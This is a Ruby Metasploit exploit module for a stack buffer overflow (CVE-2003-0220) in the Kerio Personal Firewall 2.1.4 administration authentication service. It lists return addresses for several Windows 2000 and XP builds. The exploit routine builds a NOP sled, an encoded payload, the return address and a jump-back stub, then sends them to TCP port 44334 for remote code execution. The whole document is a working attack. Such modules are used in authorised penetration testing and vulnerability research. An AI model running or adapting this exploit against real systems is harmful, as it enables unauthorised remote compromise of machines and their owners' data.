require 'msf/core' module Msf class Exploits::Windows::Firewall::Kerio_Auth < Msf::Exploit::Remote include Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Kerio Firewall 2.1.4 Authentication Packet Overflow', 'Description' => %q{ This module exploits a stack overflow in Kerio Personal Firewall administration authentication process. This module has only been tested against Kerio Personal Firewall 2 (2.1.4). }, 'Author' => 'MC', 'License' => MSF_LICENSE, 'Version' => '$Revision: 1.0 $', 'References' => [ ['BID', '7180'], ['CVE', '2003-0220'], ['URL', 'http://www1.corest.com/common/showdoc.php?idx=314&idxseccion=10'], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec68b } ], [ 'Windows XP Pro SP0 English', { 'Ret' => 0x77e3171b } ], [ 'Windows XP Pro SP1 English', { 'Ret' => 0x77dc5527 } ], ], 'Privileged' => true, 'DisclosureDate' => 'April 28 2003', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(44334) ], self.class) end def exploit connect print_status("Trying target #{target.name}...") sploit = make_nops(4268) sploit += payload.encoded sploit += [target.ret].pack('V') sploit += "\xe9\x0b\xfe\xff\xff" sock.put(sploit) sock.get_once(-1, 3) handler disconnect end end end